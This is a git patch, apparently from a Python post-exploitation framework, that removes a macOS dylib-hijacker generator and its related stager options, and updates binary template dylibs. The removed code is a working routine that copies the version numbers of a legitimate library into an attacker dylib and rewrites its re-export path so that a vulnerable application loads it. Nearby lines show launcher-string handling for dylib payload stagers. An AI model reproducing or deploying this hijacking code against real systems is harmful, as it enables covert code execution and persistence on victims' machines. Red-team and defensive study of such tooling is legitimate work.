From ee2bf516d3417522cd23d36596e853bfcfcfd9d2 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Mon, 3 Oct 2016 13:03:31 -0400
Subject: [PATCH] Removed standalone hijacker creation

---
 data/misc/hijackers/template.dylib   | Bin 8996 -> 8996 bytes
 data/misc/hijackers/template64.dylib | Bin 9052 -> 9052 bytes
 lib/common/stagers.py                | 146 ---------------------------
 lib/stagers/dylib.py                 |  22 +---
 4 files changed, 2 insertions(+), 166 deletions(-)

diff --git a/data/misc/hijackers/template.dylib b/data/misc/hijackers/template.dylib
index 8692c95b1d394c139e0188c536853758a4d82030..fa6caf8f849713c1bc76358912cabffd7c052238 100755
GIT binary patch
delta 328
zcmZ4Dw#03M2;-KGqL-N%H737gl4jRSsm#etVwfz<yijgSik*dmt^MT1j%$RnE;0O7
zVPIeo0AdDiE+C$Ki8)Cm1jv&BVkVF<JCFq8$^I;sVn8kr5SsuoOrDYJ)aKbNt;~}@
zu<&eF;1H3l2kDYyWMEL>U|<jeviX2)22KVBc_0O3f(^AmV!I--K{f-`Fas%uBqVkT
z61yFV-H*gx1Yu9!ugEI7A4&W?68qNVi;7t?iOD6IWr-!J!6k|5sYML&nR%HdnTa`>
RRY1;U9|g(D!AhGM831KAGKT;F

delta 299
zcmZ4Dw#03M2;+f`qL-N%4JN;2lID-k$jnMi&Q2}TOR3DsOq$HiyijgseHr`F<JR|Q
zwCdH=CMW2qFfcF(05Jm(7Z6WA#hfG^0pv*lF%uATu>(mU)(@^ME=kRu?7(6v%mWlR
zK~lrOaBXuxODpqc1r8C(`g1@TIYtHs1r7#=dq6fHkj=meF%8HB8Ok6H#4xr765AZY
zW(HCWu1M@~Bz6`Oy9kNh3Sm!Pt|-X62}ykK<co?~lYJE=CKo7eo@}Kg%g6u#&b%%K

diff --git a/data/misc/hijackers/template64.dylib b/data/misc/hijackers/template64.dylib
index c27fd311664fd5746c515a2ec8d920e220b47503..6bfbe63f0f8099aece3042739bd5265086c263c4 100755
GIT binary patch
delta 325
zcmccPcE@dk2;+*4qT87n4JMyumgX`u(Mze!$xLEknEZ=*nOv>Aliig*Tc)`gYL<@5
zldM!27#IYAn1P!Mh$ru3DdJ#YXJP>1$@Z+4QXnZH-~nO_AeI1PpezF;*Qw3jtgOtF
zKQMA^p1`p{q8=nF$H>4ifdj|@0wEyg1M(d>!CVG;AO+-tlz{=rG-SRj8b1WWX9g<<
w5=m(M5>&nrLp!PfL;vK9it>v4(L~Rq@o!CLRLYxdtt>M+Pw5ORP?CWG01bmDvj6}9

delta 329
zcmccPcE@dk2;+v0qT87nEhe93mKKW7$jnMi&Q2|=Ff-9hsm#etn*51*nOyL%30)%h
z%(eGbZg5<0>CK?Rz`!5?#0)%KKs<RHOA$X8I}-x~5bFn57MG;vPBvh*6y^b{umEBS
zAO^|;!L`lJtgOtNCvYr~s6Pkf%P}%AOyB@ZG28=Ed_cYfCxj2u0pvn70@>1Nd<`_d
zIfTy)q`<%xNCNf4`QfO1C59|i0fr(pe(U6eit>V+&_wr6W>m_X+@o}Qa-NbbD^QYw
F0RV0*FA4wv

diff --git a/lib/common/stagers.py b/lib/common/stagers.py
index 050955c..3d848eb 100644
--- a/lib/common/stagers.py
+++ b/lib/common/stagers.py
@@ -396,152 +396,6 @@ class Stagers:
         else:
             print helpers.color("[!] Unable to patch dylib")
 
-    def generate_dylibHijacker(self, attackerDylib, targetDylib, LegitDylibLocation):
-
-        LC_HEADER_SIZE = 0x8
-
-        def checkPrereqs(attackerDYLIB, targetDYLIB):
-
-            if not os.path.exists(targetDYLIB):
-
-                print helpers.color("[!] Path for legitimate dylib is not valid")
-                return False
-
-            attacker = open(attackerDYLIB, 'rb')
-            target = open(targetDYLIB, 'rb')
-            attackDylib = macholib.MachO.MachO(attacker.name)
-            targetDylib = macholib.MachO.MachO(target.name)
-
-            if attackDylib.headers[0].header.cputype != targetDylib.headers[0].header.cputype:
-                print helpers.color("[!] Architecture mismatch!")
-                return False 
-
-            return True
-
-
-
-        def findLoadCommand(fileHandle, targetLoadCommand):
-            #print helpers.color("In findLoadCommand function")
-            #offset of matches load commands
-            matchedOffsets = []
-
-            try:
-                macho = macholib.MachO.MachO(fileHandle.name)
-                if macho:
-                    for machoHeader in macho.headers:
-                        fileHandle.seek(machoHeader.offset, io.SEEK_SET)
-                        fileHandle.seek(machoHeader.mach_header._size_, io.SEEK_CUR)
-                        loadCommands = machoHeader.commands
-
-                        for loadCommand in loadCommands:
-
-                            if targetLoadCommand == loadCommand[0].cmd:
-                                matchedOffsets.append(fileHandle.tell())
-
-                            fileHandle.seek(loadCommand[0].cmdsize, io.SEEK_CUR)
-            except Exception, e:
-                raise e
-                matchedOffsets = None
-
-            return matchedOffsets
-
-        def configureVersions(attackerDylib, targetDylib):
-            #print helpers.color("In configureVersions function")
-            try:
-                fileHandle = open(targetDylib, 'rb+')
-
-                versionOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_ID_DYLIB)
-                if not versionOffsets or not len(versionOffsets):
-                    return False
-
-                fileHandle.seek(versionOffsets[0], io.SEEK_SET)
-                fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
-
-                #extract current version
-                currentVersion = fileHandle.read(4)
-
-                #extract compatibility version
-                compatibilityVersion = fileHandle.read(4)
-
-                fileHandle.close()
-
-                fileHandle = open(attackerDYLIB, 'rb+')
-
-                versionOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_ID_DYLIB)
-
-                if not versionOffsets or not len(versionOffsets):
-                    return False
-
-                for versionOffset in versionOffsets:
-
-                    fileHandle.seek(versionOffset, io.SEEK_SET)
-
-                    fileHandle.seek(LC_HEADER_SIZE+0x8, io.SEEK_CUR)
-
-                    #set current version
-                    fileHandle.write(currentVersion)
-
-                    #set compatability version
-                    fileHandle.write(compatibilityVersion)
-
-                fileHandle.close()
-
-            except Exception, e:
-                raise e
-
-            return True
-
-        def configureReExport(attackerDylib, targetDylib, LegitDylibLocation):
-            
-            try:
-                fileHandle = open(attackerDylib,'rb+')
-
-                reExportOffsets = findLoadCommand(fileHandle, macholib.MachO.LC_REEXPORT_DYLIB)
-
-                if not reExportOffsets or not len(reExportOffsets):
-                    return False
-
-                for reExportOffset in reExportOffsets:
-
-                    fileHandle.seek(reExportOffset, io.SEEK_SET)
-                    fileHandle.seek(0x4, io.SEEK_CUR)
-
-                    commandSize = struct.unpack('<L', fileHandle.read(4))[0]
-                    pathOffset = struct.unpack('<L', fileHandle.read(4))[0]
-
-                    fileHandle.seek(reExportOffset + pathOffset, io.SEEK_SET)
-                    pathSize = commandSize - (fileHandle.tell() - reExportOffset)
-
-                    data = LegitDylibLocation + '\\0' * (pathSize - len(LegitDylibLocation))
-                    fileHandle.write(data)
-                    fileHandle.close()
-
-            except Exception, e:
-                raise e
-                return False
-
-            return True
-
-        def configure(attackerDylib, targetDylib, LegitDylibLocation):
-            #print helpers.color("In configure function")
-            if not configureVersions(attackerDylib, targetDylib):
-                return False
-
-            if not configureReExport(attackerDylib, targetDylib, LegitDylibLocation):
-                return False
-
-            return True 
-
-        if not checkPrereqs(attackerDylib, targetDYLIB):
-            return ""
-        if not configure(attackerDylib, targetDylib, LegitDylibLocation):
-            return ""
-
-        hijacker = open(attackerDylib,'rb')
-        hijackerBytes = hijacker.read()
-        return hijackerBytes
-
-
 
     def generate_appbundle(self, launcherCode, Arch, icon, AppName, disarm):
 
diff --git a/lib/stagers/dylib.py b/lib/stagers/dylib.py
index cbe35b9..f963cdc 100644
--- a/lib/stagers/dylib.py
+++ b/lib/stagers/dylib.py
@@ -1,5 +1,5 @@
 from lib.common import helpers
-import os
+
 
 class Stager:
 
@@ -41,16 +41,6 @@ class Stager:
                 'Required'      :   True,
                 'Value'         :   'False'
             },
-            'RPath' : {
-                'Description'   :   'Full path of the legitimate dylib as it would be on a target system.',
-                'Required'      :   False,
-                'Value'         :   ''
-            },
-            'LocalDylibPath' : {
-                'Description'   :   'Local path to the legitimate dylib used in the vulnerable application. Used to configure the proper version. Required if Hijacker is set to True.',
-                'Required'      :   False,
-                'Value'         :   ''
-            },
             'OutFile' : {
                 'Description'   :   'File to write the dylib.',
                 'Required'      :   True,
@@ -81,8 +71,7 @@ class Stager:
         arch = self.options['Arch']['Value']
         LittleSnitch = self.options['LittleSnitch']['Value']
         hijacker = self.options['Hijacker']['Value']
-        legitDylib = self.options['LocalDylibPath']['Value']
-        rpath = self.options['RPath']['Value']
+
         if arch == "":
             print helpers.color("[!] Please select a valid architecture")
             return ""
@@ -98,11 +87,4 @@ class Stager:
 
             launcher = launcher.strip('echo').strip(' | python &').strip("\"")
             dylib = self.mainMenu.stagers.generate_dylib(launcherCode=launcher, arch=arch, hijacker=hijacker)
-            if hijacker.lower() == 'true' and len(legitDylib) and len(rpath):
-                f = open('/tmp/tmp.dylib', 'wb')
-                f.write(dylib)
-                f.close()
-
-                dylib = self.mainMenu.stagers.generate_dylibHijacker(attackerDylib="/tmp/tmp.dylib", targetDylib=legitDylib, LegitDylibLocation=rpath)
-                os.remove('/tmp/tmp.dylib')
             return dylib